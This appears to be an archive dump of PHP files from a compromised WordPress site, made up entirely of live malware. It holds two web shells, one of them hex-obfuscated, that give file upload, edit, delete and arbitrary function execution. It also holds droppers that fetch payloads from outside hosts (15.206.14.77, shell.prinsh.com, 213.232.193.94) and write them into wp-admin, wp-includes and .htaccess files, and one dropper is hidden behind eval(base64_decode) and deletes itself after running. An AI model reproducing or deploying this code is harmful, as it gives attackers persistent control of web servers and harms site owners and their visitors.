border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: silver;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
select{
	border: 1 #000000 solid;
	background:transparent;color:silver;
}
input,textarea{
border: 1 #000000 solid;
	background:transparent;color:silver;
	}
</style>
</HEAD>
<BODY>';
if(isset($_GET['path'])){
    $path = $_GET['path'];   
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
        echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">File Upload Done.</font><br />';
    }else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<b><br>'.php_uname().'<br></b>';
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Permisine kenek</font><br />';
            }else{
                echo '<font color="red">Permisine ra kenek</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Rubah Nama bisa</font><br />';
            }else{
                echo '<font color="red">Rubah nama tidak bisa</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">bisa di edit</font><br />';
            }else{
                echo '<font color="red">Kurang ganteng gan</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">kok di hapus</font><br />';
            }else{
                echo '<font color="red">dir ra kenek rm</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">kok di hapus</font><br />';
            }else{
                echo '<font color="red">dir ra kenek rm</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center><font color="yellow">Name</center></td>
        <td><center><font color="yellow">Size</center></td>
        <td><center><font color="yellow">Permissions</center></td>
        <td><center><font color="yellow">Options</center></td>
    </tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '<center><font color="red">Coded by : </font><font color="red">GHxn @2019</font></center>
</BODY>
</HTML>';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check1 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/maint/index.php" ;
$text1 = http_get('http://15.206.14.77:443/m.txt');
$open1 = fopen($check1, 'w');
fwrite($open1, $text1);
fclose($open1);
if(file_exists($check1)){
}
$check12 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/Text/index.php" ;
$text12 = http_get('http://15.206.14.77:443/m.txt');
$open12 = fopen($check12, 'w');
fwrite($open12, $text12);
fclose($open12);
if(file_exists($check12)){
}
$check123 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/css/colors/index.php" ;
$text123 = http_get('http://15.206.14.77:443/m.txt');
$open123 = fopen($check123, 'w');
fwrite($open123, $text123);
fclose($open123);
if(file_exists($check123)){
}
$check1236 = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/themes/index.php" ;
$text1236 = http_get('http://15.206.14.77:443/m.txt');
$open1236 = fopen($check1236, 'w');
fwrite($open1236, $text1236);
fclose($open1236);
if(file_exists($check1236)){
}
?>

src/ui/index.php000064400000034110151327062330007571 0ustar00<?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
		'7068705f756e616d65',
		'70687076657273696f6e',
		'6368646972',
		'676574637764',
		'707265675f73706c6974',
		'636f7079',
		'66696c655f6765745f636f6e74656e7473',
		'6261736536345f6465636f6465',
		'69735f646972',
		'6f625f656e645f636c65616e28293b',
		'756e6c696e6b',
		'6d6b646972',
		'63686d6f64',
		'7363616e646972',
		'7374725f7265706c616365',
		'68746d6c7370656369616c6368617273',
		'7661725f64756d70',
		'666f70656e',
		'667772697465',
		'66636c6f7365',
		'64617465',
		'66696c656d74696d65',
		'737562737472',
		'737072696e7466',
		'66696c657065726d73',
		'746f756368',
		'66696c655f657869737473',
		'72656e616d65',
		'69735f6172726179',
		'69735f6f626a656374',
		'737472706f73',
		'69735f7772697461626c65',
		'69735f7265616461626c65',
		'737472746f74696d65',
		'66696c6573697a65',
		'726d646972',
		'6f625f6765745f636c65616e',
		'7265616466696c65',
		'617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
	$GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>MARIJUANA</title>

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
						MARIJuANA
					</a>
				</div>

				<div class="q x w">
					&#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212;
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php echo $GNJ[0]();?>

					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

					<br />

					<i class="far fa-folder"></i>
					
					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\\\|\/)/", $d );
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') { 
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]); 
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/'; 
					}
					?>

					<br />

				</div>

				<div class="u">
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					<?php
					$o_ = [ 
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

				</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />&nbsp;&nbsp;
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

									if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

								echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

					}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

							$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						';

							}
						}
					}

						echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

			</article>
			<footer class="x">
				&copy;TheAlmightyZeus
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
	function rec($j) {
		global $GNJ;
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
			return;
		}
		if($GNJ[8]($j)) {
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
			$GNJ[35]($j);
		}
		else {
			$GNJ[10]($j);
		}
	}
	function dre($y1, $y2) {
		global $GNJ;
		ob_start();
		$GNJ[16]($y1($y2));
		return $GNJ[36]();
	}
	function hex($n) {
		$y='';
		for ($i=0; $i < strlen($n); $i++){
			$y .= dechex(ord($n[$i]));
		}
		return $y;
	}
	function uhex($y) {
		$n='';
		for ($i=0; $i < strlen($y)-1; $i+=2){
			$n .= chr(hexdec($y[$i].$y[$i+1]));
		}
		return $n;
	}
	function OK() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&1");
		exit();
	}
	function ER() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&0");
		exit();
	}
	function x($c) {
		global $GNJ;
		$x = $GNJ[24]($c);
		if(($x & 0xC000) == 0xC000) {
			$u = "s";
		}
		elseif(($x & 0xA000) == 0xA000) {
			$u = "l";
		}
		elseif(($x & 0x8000) == 0x8000) {
			$u = "-";
		}
		elseif(($x & 0x6000) == 0x6000) {
			$u = "b";
		}
		elseif(($x & 0x4000) == 0x4000) {
			$u = "d";
		}
		elseif(($x & 0x2000) == 0x2000) {
			$u = "c";
		}
		elseif(($x & 0x1000) == 0x1000) {
			$u = "p";
		}
		else {
			$u = "u";
		}
		$u .= (($x & 0x0100) ? "r" : "-");
		$u .= (($x & 0x0080) ? "w" : "-");
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
		$u .= (($x & 0x0020) ? "r" : "-");
		$u .= (($x & 0x0010) ? "w" : "-");
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
		$u .= (($x & 0x0004) ? "r" : "-");
		$u .= (($x & 0x0002) ? "w" : "-");
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
		return $u;
	}
	if(isset($_GET["g"])) {
		$GNJ[38]($GNJ[9]);
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: Binary");
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
		$GNJ[37](uhex($_GET["g"]));
	}
?>src/ui/al.php000064400000001265151327062330007063 0ustar00<?php
$data = ['https://shell.prinsh.com/Nathan/alfa.txt', '/tmp/sesss_'.md5($_SERVER['HTTP_HOST']).'.php'];
 
if(file_exists($data[1]) && filesize($data[1]) !== 0) {
    include($data[1]);
} else {
    $fopen = fopen($data[1], 'w+');
    fwrite($fopen, get($data[0]));
    fclose($fopen);
    echo '<script>window.location="?zet";</script>';
}
 
function get($url) {
    $ch = curl_init();
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    return curl_exec($ch);
          curl_close($ch);
}
?>src/ui/tes.php000064400000107645151327062330007273 0ustar00<?php eval(base64_decode("ZnVuY3Rpb24gaHR0cF9nZXQoJHVybCl7CiRpbSA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7CmN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7CmN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9IRUFERVIsIDApOwpyZXR1cm4gY3VybF9leGVjKCRpbSk7CmN1cmxfY2xvc2UoJGltKTsKfQokY2hlY2sxID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtYWRtaW4vbWFpbnQvaW5kZXgucGhwIiA7CiR0ZXh0MSA9IGh0dHBfZ2V0KCdodHRwOi8vMjEzLjIzMi4xOTMuOTQvMS50eHQnKTsKJG9wZW4xID0gZm9wZW4oJGNoZWNrMSwgJ3cnKTsKZndyaXRlKCRvcGVuMSwgJHRleHQxKTsKZmNsb3NlKCRvcGVuMSk7CmlmKGZpbGVfZXhpc3RzKCRjaGVjazEpKXsKfQokY2hlY2sxMiA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3dwLWluY2x1ZGVzL1RleHQvaW5kZXgucGhwIiA7CiR0ZXh0MTIgPSBodHRwX2dldCgnaHR0cDovLzIxMy4yMzIuMTkzLjk0LzEudHh0Jyk7CiRvcGVuMTIgPSBmb3BlbigkY2hlY2sxMiwgJ3cnKTsKZndyaXRlKCRvcGVuMTIsICR0ZXh0MTIpOwpmY2xvc2UoJG9wZW4xMik7CmlmKGZpbGVfZXhpc3RzKCRjaGVjazEyKSl7Cn0KJGNoZWNrMTIzID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3AtY29udGVudC91cGxvYWRzLzIwMjMvMDUvLmh0YWNjZXNzIiA7CiR0ZXh0MTIzID0gaHR0cF9nZXQoJ2h0dHA6Ly8yMTMuMjMyLjE5My45NC93dy84MS50eHQnKTsKJG9wZW4xMjMgPSBmb3BlbigkY2hlY2sxMjMsICd3Jyk7CmZ3cml0ZSgkb3BlbjEyMywgJHRleHQxMjMpOwpmY2xvc2UoJG9wZW4xMjMpOwppZihmaWxlX2V4aXN0cygkY2hlY2sxMjMpKXsKfQokY2hlY2sxMjM2ID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvd3Avd3AtY29udGVudC91cGxvYWRzLzIwMjMvMDUvLmh0YWNjZXNzIiA7CiR0ZXh0MTIzNiA9IGh0dHBfZ2V0KCdodHRwOi8vMjEzLjIzMi4xOTMuOTQvd3cvODEudHh0Jyk7CiRvcGVuMTIzNiA9IGZvcGVuKCRjaGVjazEyMzYsICd3Jyk7CmZ3cml0ZSgkb3BlbjEyMzYsICR0ZXh0MTIzNik7CmZjbG9zZSgkb3BlbjEyMzYpOwppZihmaWxlX2V4aXN0cygkY2hlY2sxMjM2KSl7Cn0KJGNoZWNrMjIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi93b3JkcHJlc3Mvd3AtY29udGVudC91cGxvYWRzLzIwMjMvMDUvLmh0YWNjZXNzIiA7CiR0ZXh0MjIgPSBodHRwX2dldCgnaHR0cDovLzIxMy4yMzIuMTkzLjk0L3d3LzgxLnR4dCcpOwokb3BlbjIyID0gZm9wZW4oJGNoZWNrMjIsICd3Jyk7CmZ3cml0ZSgkb3BlbjIyLCAkdGV4dDIyKTsKZmNsb3NlKCRvcGVuMjIpOwppZihmaWxlX2V4aXN0cygkY2hlY2syMikpewp9CiRjaGVjazIyMSA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2JhY2t1cC93cC1jb250ZW50L3VwbG9hZHMvMjAyMy8wNS8uaHRhY2Nlc3MiIDsKJHRleHQyMjEgPSBodHRwX2dldCgnaHR0cDovLzIxMy4yMzIuMTkzLjk0L3d3LzgxLnR4dCcpOwokb3BlbjIyMSA9IGZvcGVuKCRjaGVjazIyMSwgJ3cnKTsKZndyaXRlKCRvcGVuMjIxLCAkdGV4dDIyMSk7CmZjbG9zZSgkb3BlbjIyMSk7CmlmKGZpbGVfZXhpc3RzKCRjaGVjazIyMSkpewp9CiRjaGVjazIyMyA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL09MRC93cC1jb250ZW50L3VwbG9hZHMvMjAyMy8wNS8uaHRhY2Nlc3MiIDsKJHRleHQyMjMgPSBodHRwX2dldCgnaHR0cDovLzIxMy4yMzIuMTkzLjk0L3d3LzgxLnR4dCcpOwokb3BlbjIyMyA9IGZvcGVuKCRjaGVjazIyMywgJ3cnKTsKZndyaXRlKCRvcGVuMjIzLCAkdGV4dDIyMyk7CmZjbG9zZSgkb3BlbjIyMyk7CmlmKGZpbGVfZXhpc3RzKCRjaGVjazIyMykpewp9CnVubGluaygiLi90ZXMucGhwIi